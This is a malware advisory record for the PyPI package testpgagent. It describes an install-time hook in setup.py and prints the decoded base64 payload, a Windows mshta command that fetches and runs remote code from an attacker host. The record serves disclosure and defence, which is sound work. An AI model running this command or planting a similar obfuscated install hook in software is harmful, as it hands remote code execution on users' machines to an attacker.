---
id: MAL-2026-5824
title: Malicious code in testpgagent (PyPI)
summary: Malicious code in testpgagent (PyPI)
severity: none
vendor: testpgagent
product: testpgagent
ecosystem: pip
affected:
  - testpgagent
published: '2026-06-15'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/MAL-2026-5824'
references:
  - url: 'https://pypi.org/project/TestPGAgent/0.2/'
  - url: >-
      https://www.virustotal.com/gui/file/1a5beab4a6facb46b4afc5f8526e1327e6c7d740ccaf34c6a921ac18eff29427/detection
  - url: >-
      https://www.virustotal.com/gui/file/4c99c8edfc4444f46932f14afccb2952a3850df765765f9ac793d69f318c192f/detection
  - url: >-
      https://www.virustotal.com/gui/file/0649f50ead3695f41c1243883200bdb775410bcd8c8fb88277740a625a154e25
  - url: 'https://bad-packages.kam193.eu/pypi/package/testpgagent'
  - url: >-
      https://www.virustotal.com/gui/file/926e8f1a7f349ff1eef31f89fa8ffe265c30b92e310e8bea19962d38f8c32129
  - url: 'https://pypi.org/project/TestPGAgent/0.1/'
tags:
  - osv
  - pip
ingestedAt: '2026-07-09T11:56:19.562Z'
---

## Overview


---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f)
On `pip install`, setup.py line 19 calls `exec(base64.b64decode(...))` whose decoded body is `import os; os.system('cmd /c "mshta http://fixars.top"')`. This launches Windows `mshta.exe` against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running `pip install TestPGAgent==0.2` will execute remote code chosen by whoever controls fixars.top at the moment of install.

## Source: kam193 (b2ef252322091e2df68ab6476eb3c3946a39f8d1239e7cdf968fdd4f2c2bfea7)
During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.


---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-06-easyaillm


Reasons (based on the campaign):


 - Downloads and executes a remote executable.


 - obfuscation


 - malware


 - tool:mshta


## Affected packages

- `testpgagent`

## Remediation

Refer to the advisory for the patched release.
